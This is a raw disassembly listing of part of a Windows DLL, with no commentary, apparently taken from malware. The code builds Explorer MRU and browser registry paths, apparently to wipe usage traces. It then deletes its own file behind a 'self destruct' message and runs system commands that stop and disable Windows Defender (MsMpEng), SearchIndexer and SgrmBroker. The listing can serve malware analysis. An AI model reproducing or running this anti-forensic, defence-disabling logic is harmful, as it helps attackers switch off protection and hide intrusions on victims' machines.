mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031ef5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031ef5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x35
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031f6e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031f69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031f69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x61
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180031fe2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031fdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031fdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x5e
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180032056
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032051
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032051
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x50
lea rdx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1800320ca
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800320c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800320c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x61
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rsp + 0x40]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x40]
call fcn.180030e10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18003213e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032139
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032139
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea rax, [rbp + 0x220]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032160
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x60]
call fcn.1800381a0
nop
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x180032204
lea rax, [r8 + 4]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x60]
lea rax, [0x1800a5c44]
cmp rax, rbx
jbe 0x1800321c6
lea rax, [rbx + r8]
cmp r15, rax
ja 0x1800321c6
cmp rbx, r15
jbe 0x1800321c9
mov rdi, rbx
sub rdi, r15
jmp 0x1800321c9
mov rdi, r13
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r13, rdi
lea rdx, [rdi + 4]
add rdx, r15
lea rcx, [rbx + rdi]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x60]
xor edi, edi
jmp 0x18003221a
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r15
mov rdx, r13
lea rcx, [rbp - 0x60]
call fcn.18003d1d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rdi
mov byte [rax], 0
mov r8d, 0x4c
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU
lea rcx, [rbp + 0xe0]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xc0]
call fcn.180030e10
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1800322f6
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800322f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800322f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x180032349
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032344
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032344
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0xf0], xmm6
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x180032396
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032391
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032391
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rbp + 0x220]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800323b0
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x40]
call fcn.1800381a0
nop
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
sub rax, r8
cmp rax, 0xb
jb 0x180032454
lea rax, [r8 + 0xb]
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x40]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x40]
lea rax, [0x1800a5cb3]
cmp rax, rbx
jbe 0x180032416
lea rax, [rbx + r8]
cmp r14, rax
ja 0x180032416
cmp rbx, r14
jbe 0x180032419
mov rdi, rbx
sub rdi, r14
jmp 0x180032419
mov rdi, r12
inc r8
lea rcx, [rbx + 0xb]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r12, rdi
lea rdx, [rdi + 0xb]
add rdx, r14
lea rcx, [rbx + rdi]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x40]
xor edi, edi
jmp 0x18003246a
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp - 0x40]
call fcn.18003d1d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rdi
mov byte [rax], 0
mov r8d, 0x50
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
lea rcx, [rsp + 0x40]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x100]
call fcn.180030e10
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x18003253c
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032537
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032537
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x110], xmm6
mov byte [rbp + 0x100], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18003258b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032586
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1800325d4
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800325cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800325cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov r8d, 0x104
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
lea rax, [rbp + 0x290]
inc rsi
cmp byte [rax + rsi], 0
jne 0x180032605
mov r8, rsi
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x1b0]
call fcn.1800381a0
nop
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rcx, qword [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x180032656
lea rdx, str.Self_destruct_sequence_initiated..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x180032687
lea rdx, str.Failed_to_initiate_self_destruct_sequence._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x180041560]
call fcn.18003b5b0
lea rcx, str.net_stop_SearchIndexer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SearchIndexer.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_MsMpEng.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_MsMpEng.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_SgrmBroker.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SgrmBroker.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x18003271f
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003271a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003271a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x1c0], xmm6
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x180032773
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003276d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003276d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x1800327b7
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800327b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800327b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
movdqu xmmword [rbp + 0x1e0], xmm6
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x18003280a
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032805
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.18003d610
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180030c20
nop
call fcn.180030c20
int3
call fcn.180030c20
int3